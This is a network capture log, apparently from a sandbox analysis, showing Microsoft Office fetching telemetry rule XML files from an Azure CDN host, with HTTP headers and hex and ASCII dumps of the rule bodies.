2024-10-17 16:18:32 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:32 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: d4bc84b0-b01e-0097-04d8-1e4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161832Z-15b8d89586f42m67uh3prmsdrs00000003wg000000008wfe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:32 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	50071	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:32 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:32 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: c8d91fae-d01e-005a-7cd8-1e7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161832Z-16b659b4499z4tq4vyreufa8gn00000006fg00000000qny5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:32 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	50091	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:32 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:33 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:33 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 96579733-301e-0099-3cd8-1e6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161833Z-16b659b4499z4tq4vyreufa8gn00000006ng000000005kpg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:33 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	50133	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:33 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:33 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:33 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 43a1e15a-101e-008e-2ed8-1ecf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161833Z-r197bdfb6b4kkrkjmxpfy2et100000000a80000000008hy4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:33 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	50143	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:33 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:33 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:33 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 9004b710-501e-005b-4cd8-1ed7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161833Z-r197bdfb6b49hhzxb6arg8z9fw00000001u000000000sc6d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:33 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	50141	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:33 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:33 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:33 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 338a0e48-c01e-00a2-02d8-1e2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161833Z-16b659b44994sn4705n0hqcu3c00000007t000000000h52h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:33 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	50152	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:33 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:33 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:33 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: caad41a3-c01e-0034-68d8-1e2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161833Z-16b659b4499xhcppz4ucy307n400000007x0000000003bk3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:33 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	50178	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:33 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:34 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 90036c96-501e-005b-11d8-1ed7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161834Z-r197bdfb6b429k2srg5tfm6hnn00000001bg000000003n5u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:34 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	50258	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:34 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:34 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 9909a593-401e-0029-54d8-1e9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161834Z-16b659b4499w2mwkzdhtwtt78c0000000am000000000evww x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:34 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	50265	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:34 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:34 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:34 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: a14e0622-f01e-003f-07d8-1ed19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161834Z-16b659b4499j6g8p9q09hdsh1000000009eg000000006br0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:34 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	50264	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:34 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:34 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:34 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: fe1cb938-601e-00ab-39d8-1e66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161834Z-16b659b4499j4zt514u3dvn84n0000000b7000000000064a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:34 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	50274	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:34 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:34 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:34 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: f8617515-201e-0071-0ed8-1eff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161834Z-16b659b4499bnwsctrq8dt6ghw00000008n0000000005ecx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-17 16:18:34 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	50313	13.107.246.45	443

